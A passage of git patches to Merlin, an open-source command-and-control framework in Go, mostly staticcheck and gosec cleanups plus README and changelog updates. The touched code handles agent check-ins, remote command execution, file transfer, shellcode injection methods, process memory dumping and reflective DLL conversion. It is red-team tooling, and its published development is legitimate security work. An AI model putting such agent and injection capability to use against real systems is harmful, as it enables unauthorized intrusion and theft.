errI.Error())) + message("warn", errI.Error()) } } else { for _, iface := range interfaces { @@ -236,7 +236,7 @@ func (a *Agent) initialCheckIn(host string, client *http.Client) bool { if errP != nil { if a.Debug { message("warn", "There was an error marshaling the JSON object") - message("warn", fmt.Sprintf("%s", errP.Error())) + message("warn", errP.Error()) } } @@ -258,7 +258,7 @@ func (a *Agent) initialCheckIn(host string, client *http.Client) bool { if errA != nil { if a.Debug { message("warn", "There was an error marshaling the JSON object") - message("warn", fmt.Sprintf("%s", errA.Error())) + message("warn", errA.Error()) } } @@ -296,7 +296,7 @@ func (a *Agent) initialCheckIn(host string, client *http.Client) bool { a.FailedCheckin++ if a.Debug { message("warn", "There was an error with the HTTP client while performing a POST:") - message("warn", fmt.Sprintf("%s", err.Error())) + message("warn", err.Error()) } if a.Verbose { message("note", fmt.Sprintf("%d out of %d total failed checkins", a.FailedCheckin, a.MaxRetry)) @@ -334,6 +334,7 @@ func (a *Agent) initialCheckIn(host string, client *http.Client) bool { if a.Debug { message("debug", "Leaving initialCheckIn function, returning True") } + a.iCheckIn = time.Now().UTC() return true } @@ -371,7 +372,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { if err != nil { if a.Debug { message("warn", "There was an error with the HTTP Response:") - message("warn", fmt.Sprintf("%s", err.Error())) // On Mac I get "read: connection reset by peer" here but not on other platforms + message("warn", err.Error()) // On Mac I get "read: connection reset by peer" here but not on other platforms } // Only does this with a 10s Sleep a.FailedCheckin++ if a.Verbose { @@ -415,6 +416,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { } a.FailedCheckin = 0 + a.sCheckIn = time.Now().UTC() if a.Debug { message("debug", fmt.Sprintf("Agent ID: %s", j.ID)) @@ -457,11 +459,11 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { if directoryPathErr != nil { if a.Verbose { message("warn", fmt.Sprintf("There was an error getting the FileInfo structure for the directory %s", d)) - message("warn", fmt.Sprintf("%s", directoryPathErr.Error())) + message("warn", directoryPathErr.Error()) } - c.Stderr = fmt.Sprintf("There was an error getting the FileInfo structure for the "+ - "remote directory %s:\r\n", p.FileLocation) - c.Stderr += fmt.Sprintf(directoryPathErr.Error()) + c.Stderr = fmt.Sprintf("There was an error getting the FileInfo structure for the remote "+ + "directory %s:\r\n", p.FileLocation) + c.Stderr += directoryPathErr.Error() } if c.Stderr == "" { if a.Verbose { @@ -472,7 +474,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { c.Stderr = downloadFileErr.Error() if a.Verbose { message("warn", "There was an error decoding the fileBlob") - message("warn", fmt.Sprintf("%s", downloadFileErr.Error())) + message("warn", downloadFileErr.Error()) } } else { errF := ioutil.WriteFile(p.FileLocation, downloadFile, 0644) @@ -480,7 +482,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { c.Stderr = errF.Error() if a.Verbose { message("warn", fmt.Sprintf("There was an error writing to : %s", p.FileLocation)) - message("warn", fmt.Sprintf("%s", errF.Error())) + message("warn", errF.Error()) } } else { if a.Verbose { @@ -513,7 +515,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { if fileDataErr != nil { if a.Verbose { message("warn", fmt.Sprintf("There was an error reading %s", p.FileLocation)) - message("warn", fmt.Sprintf("%s", fileDataErr.Error())) + message("warn", fileDataErr.Error()) } errMessage := fmt.Sprintf("There was an error reading %s\r\n", p.FileLocation) errMessage += fileDataErr.Error() @@ -583,7 +585,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { if respErr != nil { if a.Verbose { message("warn", "There was an error sending the FileTransfer message to the server") - message("warn", fmt.Sprintf("%s", respErr.Error())) + message("warn", respErr.Error()) } break } @@ -747,8 +749,8 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { k, err := json.Marshal(c) if err != nil { if a.Verbose { - message("warn", fmt.Sprintf("There was an error creating the json")) - message("warn", fmt.Sprintf("%s", err.Error())) + message("warn", "There was an error creating the json") + message("warn", err.Error()) } } g.Type = "FileTransfer" @@ -768,7 +770,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { if respErr != nil { if a.Verbose { message("warn", "There was an error sending the FileTransfer message to the server") - message("warn", fmt.Sprintf("%s", respErr.Error())) + message("warn", respErr.Error()) } break } @@ -806,7 +808,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { if err != nil { if a.Verbose { message("warn", "There was an error changing the agent waitTime") - message("warn", fmt.Sprintf("%s", err.Error())) + message("warn", err.Error()) } } if t > 0 { @@ -823,7 +825,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { if err != nil { if a.Verbose { message("warn", "There was an error changing the agent skew interval") - message("warn", fmt.Sprintf("%s", err.Error())) + message("warn", err.Error()) } } if a.Verbose { @@ -836,7 +838,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { if err != nil { if a.Verbose { message("warn", "There was an error changing the agent message padding size") - message("warn", fmt.Sprintf("%s", err.Error())) + message("warn", err.Error()) } } if a.Verbose { @@ -855,7 +857,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { if err != nil { if a.Verbose { message("warn", "There was an error changing the agent max retries") - message("warn", fmt.Sprintf("%s", err.Error())) + message("warn", err.Error()) } } if a.Verbose { @@ -1207,7 +1209,7 @@ func (a *Agent) executeCommand(j messages.CmdPayload) (stdout string, stderr str if a.Verbose { if stderr != "" { message("warn", fmt.Sprintf("There was an error executing the command: %s", j.Command)) - message("success", fmt.Sprintf("%s", stdout)) + message("success", stdout) message("warn", fmt.Sprintf("Error: %s", stderr)) } else { @@ -1319,7 +1321,7 @@ func (a *Agent) agentInfo(host string, client *http.Client) { if errP != nil { if a.Debug { message("warn", "There was an error marshaling the JSON object") - message("warn", fmt.Sprintf("%s", errP.Error())) + message("warn", errP.Error()) } } @@ -1348,7 +1350,7 @@ func (a *Agent) agentInfo(host string, client *http.Client) { a.FailedCheckin++ if a.Debug { message("warn", "There was an error with the HTTP client while performing a POST:") - message("warn", fmt.Sprintf(err.Error())) + message("warn", err.Error()) } if a.Verbose { message("note", fmt.Sprintf("%d out of %d total failed checkins", a.FailedCheckin, a.MaxRetry)) From 3dbbd144dc0010b41c42c986239c261ac457ac70 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Tue, 19 Mar 2019 08:48:20 -0400 Subject: [PATCH 102/112] staticcheck fixes on agents.go --- pkg/agents/agents.go | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkg/agents/agents.go b/pkg/agents/agents.go index 8a2e4342..2192b8cf 100644 --- a/pkg/agents/agents.go +++ b/pkg/agents/agents.go @@ -319,7 +319,7 @@ func ShowInfo(agentID uuid.UUID) { {"Agent Version", Agents[agentID].Version}, {"Agent Build", Agents[agentID].Build}, {"Agent Wait Time", Agents[agentID].WaitTime}, - {"Agent Wait Time Skew", fmt.Sprintf(strconv.FormatInt(Agents[agentID].Skew, 10))}, + {"Agent Wait Time Skew", strconv.FormatInt(Agents[agentID].Skew, 10)}, {"Agent Message Padding Max", strconv.Itoa(Agents[agentID].PaddingMax)}, {"Agent Max Retries", strconv.Itoa(Agents[agentID].MaxRetry)}, {"Agent Failed Check In", strconv.Itoa(Agents[agentID].FailedCheckin)}, @@ -478,7 +478,7 @@ func GetMessageForJob(agentID uuid.UUID, job Job) (messages.Base, error) { m.Payload = (*json.RawMessage)(&k) err := RemoveAgent(agentID) if err != nil { - message("warn", fmt.Sprintf("%s", err.Error())) + message("warn", err.Error()) } else { message("info", fmt.Sprintf("Agent %s was removed from the server", agentID.String())) } From 43c96c3b95a54b8ff3ee224b2dc5876e3b60eb6f Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Tue, 19 Mar 2019 08:55:22 -0400 Subject: [PATCH 103/112] staticcheck fixes on cli.go --- pkg/cli/cli.go | 22 +++++++++++++++------- 1 file changed, 15 insertions(+), 7 deletions(-) diff --git a/pkg/cli/cli.go b/pkg/cli/cli.go index 782f7f91..320dc64b 100644 --- a/pkg/cli/cli.go +++ b/pkg/cli/cli.go @@ -263,8 +263,7 @@ func Shell() { } case "execute-shellcode": if len(cmd) > 2 { - var options map[string]string - options = make(map[string]string) + options := make(map[string]string) switch strings.ToLower(cmd[1]) { case "self": options["method"] = "self" @@ -302,7 +301,6 @@ func Shell() { } default: message("warn", "invalid method provided") - break } if len(options) > 0 { sh, errSh := shellcode.Parse(options) @@ -362,6 +360,10 @@ func Shell() { } } else { m, err = agents.AddJob(shellAgent, cmd[0], cmd) + if err != nil { + message("warn", err.Error()) + break + } } message("note", fmt.Sprintf("Created job %s for agent %s at %s", m, shellAgent, time.Now().UTC().Format(time.RFC3339))) @@ -381,12 +383,20 @@ func Shell() { } } else { m, err = agents.AddJob(shellAgent, "cd", cmd) + if err != nil { + message("warn", err.Error()) + break + } } message("note", fmt.Sprintf("Created job %s for agent %s at %s", m, shellAgent, time.Now().UTC().Format(time.RFC3339))) case "pwd": var m string m, err = agents.AddJob(shellAgent, "pwd", cmd) + if err != nil { + message("warn", err.Error()) + break + } message("note", fmt.Sprintf("Created job %s for agent %s at %s", m, shellAgent, time.Now().UTC().Format(time.RFC3339))) case "main": @@ -580,7 +590,7 @@ func menuAgent(cmd []string) { } else { errRemove := agents.RemoveAgent(i) if errRemove != nil { - message("warn", fmt.Sprintf("%s", errRemove.Error())) + message("warn", errRemove.Error()) } else { message("info", fmt.Sprintf("Agent %s was removed from the server at %s", cmd[1], time.Now().UTC().Format(time.RFC3339))) @@ -831,9 +841,7 @@ func exit() { } func executeCommand(name string, arg []string) { - var cmd *exec.Cmd - - cmd = exec.Command(name, arg...) // #nosec G204 Users can execute any arbitrary command by design + cmd := exec.Command(name, arg...) // #nosec G204 Users can execute any arbitrary command by design out, err := cmd.CombinedOutput() From 55ca887b50791af915a47fac9f8bb8ead683ab2f Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Tue, 19 Mar 2019 08:57:55 -0400 Subject: [PATCH 104/112] staticcheck fixes on modules.go --- pkg/modules/modules.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkg/modules/modules.go b/pkg/modules/modules.go index fe918b4d..44d1203a 100644 --- a/pkg/modules/modules.go +++ b/pkg/modules/modules.go @@ -90,7 +90,7 @@ func (m *Module) Run() ([]string, error) { return nil, platformError } - if strings.ToLower(m.Platform) != strings.ToLower(platform) { + if !strings.EqualFold(m.Platform, platform) { return nil, fmt.Errorf("the %s module is only compatible with %s platform. The agent's platform is %s", m.Name, m.Platform, platform) } From 31525be57d54440b4a29aa34158529780d2fdbf6 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Tue, 19 Mar 2019 08:59:41 -0400 Subject: [PATCH 105/112] staticcheck fixes on http2.go --- pkg/servers/http2/http2.go | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkg/servers/http2/http2.go b/pkg/servers/http2/http2.go index 042dca08..689398c0 100644 --- a/pkg/servers/http2/http2.go +++ b/pkg/servers/http2/http2.go @@ -332,11 +332,11 @@ func agentHandler(w http.ResponseWriter, r *http.Request) { message("success", fmt.Sprintf("Results for job %s at %s", p.Job, time.Now().UTC().Format(time.RFC3339))) if len(p.Stdout) > 0 { agents.Log(j.ID, fmt.Sprintf("Command Results (stdout):\r\n%s", p.Stdout)) - color.Green(fmt.Sprintf("%s", p.Stdout)) + color.Green(p.Stdout) } if len(p.Stderr) > 0 { agents.Log(j.ID, fmt.Sprintf("Command Results (stderr):\r\n%s", p.Stderr)) - color.Red(fmt.Sprintf("%s", p.Stderr)) + color.Red(p.Stderr) } case "AgentInfo": From 23ae50e99985c6cd1b9603186bbbf9512c93719a Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Tue, 19 Mar 2019 09:04:19 -0400 Subject: [PATCH 106/112] staticcheck fixes on tls.go --- pkg/util/tls.go | 2 -- pkg/util/tls_test.go | 5 ++++- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/pkg/util/tls.go b/pkg/util/tls.go index c0b1ceb5..067f2eb8 100644 --- a/pkg/util/tls.go +++ b/pkg/util/tls.go @@ -59,8 +59,6 @@ func GenerateTLSCert(serial *big.Int, subject *pkix.Name, dnsNames []string, not } //todo: generate random names? - if dnsNames == nil { - } if notBefore == nil { diff --git a/pkg/util/tls_test.go b/pkg/util/tls_test.go index 14fdc845..47e758ca 100644 --- a/pkg/util/tls_test.go +++ b/pkg/util/tls_test.go @@ -67,6 +67,9 @@ func TestTLSCertGeneration(t *testing.T) { // Tests x5certSetVals, err := x509.ParseCertificate(certSetVals.Certificate[0]) + if err != nil { + t.Fatal("Could not parse X509 certificate") + } //serial if x5certSetVals.SerialNumber.Cmp(serial) != 0 { t.Error("Serial number mismatch") @@ -198,7 +201,7 @@ func TestTLSCertGeneration(t *testing.T) { t.Error("Error during encrypt/decrypt verification 4: ", err) } - if bytes.Compare(dec1, plain1) != 0 || bytes.Compare(dec2, plain2) != 0 { + if !bytes.Equal(dec1, plain1) || !bytes.Equal(dec2, plain2) { t.Error("Error during encrypt/decrypt verification 5: decrypted values don't match (", string(plain1), string(dec1), From 227762b3cc413eebd2a406cd21ec6e6a5eaa04d1 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Tue, 19 Mar 2019 09:22:05 -0400 Subject: [PATCH 107/112] staticcheck fixes on exec.go --- pkg/agent/exec.go | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/pkg/agent/exec.go b/pkg/agent/exec.go index aca95cf8..4d7cecde 100644 --- a/pkg/agent/exec.go +++ b/pkg/agent/exec.go @@ -52,12 +52,14 @@ func ExecuteCommand(name string, arg string) (stdout string, stderr string) { } // ExecuteShellcodeSelf executes provided shellcode in the current process +//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used func ExecuteShellcodeSelf(shellcode []byte) error { shellcode = nil return errors.New("shellcode execution is not implemented for this operating system") } // ExecuteShellcodeRemote executes provided shellcode in the provided target process +//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used func ExecuteShellcodeRemote(shellcode []byte, pid uint32) error { shellcode = nil pid = 0 @@ -65,6 +67,7 @@ func ExecuteShellcodeRemote(shellcode []byte, pid uint32) error { } // ExecuteShellcodeRtlCreateUserThread executes provided shellcode in the provided target process using the Windows RtlCreateUserThread call +//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used func ExecuteShellcodeRtlCreateUserThread(shellcode []byte, pid uint32) error { shellcode = nil pid = 0 @@ -72,6 +75,7 @@ func ExecuteShellcodeRtlCreateUserThread(shellcode []byte, pid uint32) error { } // ExecuteShellcodeQueueUserAPC executes provided shellcode in the provided target process using the Windows QueueUserAPC API call +//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used func ExecuteShellcodeQueueUserAPC(shellcode []byte, pid uint32) error { shellcode = nil pid = 0 @@ -79,6 +83,7 @@ func ExecuteShellcodeQueueUserAPC(shellcode []byte, pid uint32) error { } // miniDump is a Windows only module function to dump the memory of the provided process +//lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used func miniDump(tempDir string, process string, inPid uint32) (map[string]interface{}, error) { var mini map[string]interface{} tempDir = "" From 30ac2e2e2772521b8d699a9362b891485676c357 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Tue, 19 Mar 2019 09:38:45 -0400 Subject: [PATCH 108/112] gosec exclusion on srdi.go --- pkg/modules/srdi/srdi.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkg/modules/srdi/srdi.go b/pkg/modules/srdi/srdi.go index 58955376..5efa7d60 100644 --- a/pkg/modules/srdi/srdi.go +++ b/pkg/modules/srdi/srdi.go @@ -116,7 +116,7 @@ func Parse(options map[string]string) ([]string, error) { func dllToReflectiveShellcode(dllPath string, functionName string, clearHeader bool, userDataStr string) ([]byte, error) { // TODO make sure file exists - dllBytes, err := ioutil.ReadFile(dllPath) + dllBytes, err := ioutil.ReadFile(dllPath) // #nosec G304 Intended functionality to allow users to specify arbitrary file if err != nil { return nil, err } From 6701159417f65ff0f46f6d9db3486575b51ccc49 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Tue, 19 Mar 2019 09:48:37 -0400 Subject: [PATCH 109/112] gosec SHA256 fix on agent.go --- pkg/agent/agent.go | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index c75dc3b6..62862d5f 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -21,6 +21,7 @@ import ( // Standard "bytes" "crypto/sha1" // #nosec G505 + "crypto/sha256" "crypto/tls" "encoding/base64" "encoding/json" @@ -726,11 +727,11 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { g.Payload = (*json.RawMessage)(&k) } else { - fileHash := sha1.New() + fileHash := sha256.New() _, errW := io.WriteString(fileHash, string(miniD["FileContent"].([]byte))) if errW != nil { if a.Verbose { - message("warn", fmt.Sprintf("There was an error generating the SHA1 file hash e:\r\n%s", errW.Error())) + message("warn", fmt.Sprintf("There was an error generating the SHA256 file hash e:\r\n%s", errW.Error())) } } From 9fbe0a59eac56289549de26d0ef9c8e973e61d3c Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Tue, 19 Mar 2019 09:52:44 -0400 Subject: [PATCH 110/112] Removed old Make reference to agent-dll-library --- Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Makefile b/Makefile index ad8c2c0d..2105b7cb 100644 --- a/Makefile +++ b/Makefile @@ -27,7 +27,7 @@ D=Darwin-x64 $(shell mkdir -p ${DIR}) # Change default to just make for the host OS and add MAKE ALL to do this -default: server-windows agent-windows server-linux agent-linux server-darwin agent-darwin agent-dll agent-dll-library agent-javascript +default: server-windows agent-windows server-linux agent-linux server-darwin agent-darwin agent-dll agent-javascript all: default From 9f57280e8e5c3680e962ecbd1babd11e574c912e Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Mon, 8 Apr 2019 07:29:54 -0400 Subject: [PATCH 111/112] Updated README --- README.MD | 17 ++++++++++------- cmd/merlinserver/main.go | 2 ++ docs/CHANGELOG.MD | 4 +++- 3 files changed, 15 insertions(+), 8 deletions(-) diff --git a/README.MD b/README.MD index cc2f400d..70990fda 100644 --- a/README.MD +++ b/README.MD @@ -3,7 +3,6 @@ [![License: GPL v3](https://img.shields.io/badge/License-GPL%20v3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0) [![Release](https://img.shields.io/github/release/Ne0nd0g/merlin.svg)](https://github.com/Ne0nd0g/merlin/releases/latest) [![Downloads](https://img.shields.io/github/downloads/Ne0nd0g/merlin/total.svg)](https://github.com/Ne0nd0g/merlin/releases) -[![Slack](https://img.shields.io/badge/Slack-Sign--Up-blue.svg)](https://communityinviter.com/apps/merlin-go/merlin) [![Twitter Follow](https://img.shields.io/twitter/follow/merlin_c2.svg?style=social&label=Follow)](https://twitter.com/merlin_c2) # Merlin (BETA) @@ -22,7 +21,7 @@ https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a [![asciicast](https://asciinema.org/a/166722.png)](https://asciinema.org/a/166722?speed=2) ## Quick Start -1. Download the latest version of Merlin Server from the [releases](https://github.com/Ne0nd0g/merlin/releases) section +1. Download the latest compiled version of Merlin Server from the [releases](https://github.com/Ne0nd0g/merlin/releases) section 2. Extract the files with 7zip using the `x` function. **The password is: `merlin`** 3. Start Merlin 4. Deploy an agent. See [Agent Execution Quick Start Guide](https://github.com/Ne0nd0g/merlin/wiki/Agent-Execution-Quick-Start-Guide) for examples @@ -36,6 +35,7 @@ sudo ./merlinServer-Linux-x64 ``` ## Misc. +* The latest development build of Merlin can be downloaded from [AppVeyor](https://ci.appveyor.com/project/Ne0nd0g/merlin-i9c58/build/artifacts) * To compile Merlin from source, view the [Building or Running from Source](https://github.com/Ne0nd0g/merlin/wiki/Building-or-Running-from-Source) wiki page * For a full list of available commands view the [Main Menu](https://github.com/Ne0nd0g/merlin/wiki/Merlin-Server-Main-Menu), [Agent Menu](https://github.com/Ne0nd0g/merlin/wiki/Merlin-Server-Agent-Menu), and [Module Menu](https://github.com/Ne0nd0g/merlin/wiki/Merlin-Server-Module-Menu) wiki pages * View the [FAQ](https://github.com/Ne0nd0g/merlin/wiki/FAQ) wiki page for Frequently Asked Questions @@ -50,6 +50,8 @@ sudo ./merlinServer-Linux-x64 The IP address of the interface to bind to (default "0.0.0.0") -p int Merlin Server Port (default 443) + -proto string + Protocol for the agent to connect with [h2, hq] (default "h2") -v Enable verbose output -x509cert string The x509 certificate for the HTTPS listener (default "C:\\Merlin\\data\\x509\\server.crt") @@ -62,16 +64,17 @@ sudo ./merlinServer-Linux-x64 ``` -debug Enable debug output + -proto string + Protocol for the agent to connect with [h2, hq] (default "h2") -sleep duration Time for agent to sleep (default 10s) - -skew int - Variable time skew for agent to sleep -url string Full URL for agent to connect to (default "https://127.0.0.1:443") -v Enable verbose output + -version + Print the agent version and exit ``` -## TLS Certificates -### **`WARNING: You should generate your own TLS certificates and replace the default certificates that ship with Merlin`** +## Slack -To facilitate ease of use, a TLS X.509 private and public certificate is distributed with Merlin. This allows a user to start using Merlin right away. However, this key is widely distributed and is considered public knowledge. You should generate your own certificates and replace the default certificates that ship with Merlin. The default location for the certificates is the `data/x509` directory. The `openssl` command can be used from a Linux system to generate a key pair. +Join the `#merlin` channel in the [BloodHoundGang](https://bloodhoundgang.herokuapp.com/) Slack to chat about Merlin \ No newline at end of file diff --git a/cmd/merlinserver/main.go b/cmd/merlinserver/main.go index 19586335..4b2e286f 100644 --- a/cmd/merlinserver/main.go +++ b/cmd/merlinserver/main.go @@ -20,6 +20,7 @@ package main import ( // Standard "flag" + "os" "path/filepath" // 3rd Party @@ -56,6 +57,7 @@ func main() { color.Blue("Version: " + merlin.Version) color.Blue("Build: " + build) flag.PrintDefaults() + os.Exit(0) } flag.Parse() diff --git a/docs/CHANGELOG.MD b/docs/CHANGELOG.MD index 63ab994c..eb0f65d7 100644 --- a/docs/CHANGELOG.MD +++ b/docs/CHANGELOG.MD @@ -31,6 +31,7 @@ and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0. - Shellcode Reflective DLL Injection (sRDI) module windows/x64/go/exec/sRDI - Shellcode injection module at windows/x64/go/exec/shellcode provides same functionality as execute-shellcode from Agent menu - "extended" module types that call Go code from the pkg/modules directory +- [Pull 64](https://github.com/Ne0nd0g/merlin/pull/64) - Added in Dockerfile by Alex Flores (@audibleblink) ### Fixed - [Pull 57](https://github.com/Ne0nd0g/merlin/pull/57) - Resolved broken JSON does not increment failedCheckin counter on Merlin agent @@ -39,6 +40,7 @@ and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0. - Changed SHA1 library to SHA256 and checks from http2.go for publicly distributed Merlin Server test certificate - Moved execute-shellcode functionality to pkg/modules/shellcode - merlin.c contains DllMain and exported Magic function +- Merlin Server uses exit code 0 after printing usage information ### Removed - Removed publicly distributed certificates from repository see [Pull 58](https://github.com/Ne0nd0g/merlin/pull/58). @@ -71,7 +73,7 @@ and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0. ### Changed -- [Pull 43](https://github.com/Ne1nd0g/merlin/pull/43) - Gives users the ability to dynamically +- [Pull 43](https://github.com/Ne0nd0g/merlin/pull/43) - Gives users the ability to dynamically assign the callback URL variable at compile time by setting the URL= var in the make command by Alex Flores (@audibleblink) ### Fixed From 52c36d2edc0565a9bca16cab4cfd12aee5578650 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Thu, 11 Apr 2019 18:46:34 -0400 Subject: [PATCH 112/112] Update to release version number --- docs/CHANGELOG.MD | 2 +- pkg/merlin.go | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/CHANGELOG.MD b/docs/CHANGELOG.MD index eb0f65d7..4e94f685 100644 --- a/docs/CHANGELOG.MD +++ b/docs/CHANGELOG.MD @@ -4,7 +4,7 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/) and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html). -## 0.6.9 - 2019-XX-XX +## 0.7.0 - 2019-04-11 ### Added - [Pull 48](https://github.com/Ne0nd0g/merlin/pull/48) - Added `ls` command to agent & agent menu. Uses go code native to Merlin instead of executing `ls` or `dir` binary diff --git a/pkg/merlin.go b/pkg/merlin.go index fd569840..558e92e5 100644 --- a/pkg/merlin.go +++ b/pkg/merlin.go @@ -18,7 +18,7 @@ package merlin // Version is a constant variable containing the version number for the Merlin package -const Version = "0.6.8.BETA" +const Version = "0.7.0.BETA" // Build is the unique number based off the git commit in which it is compiled against var Build = "nonRelease"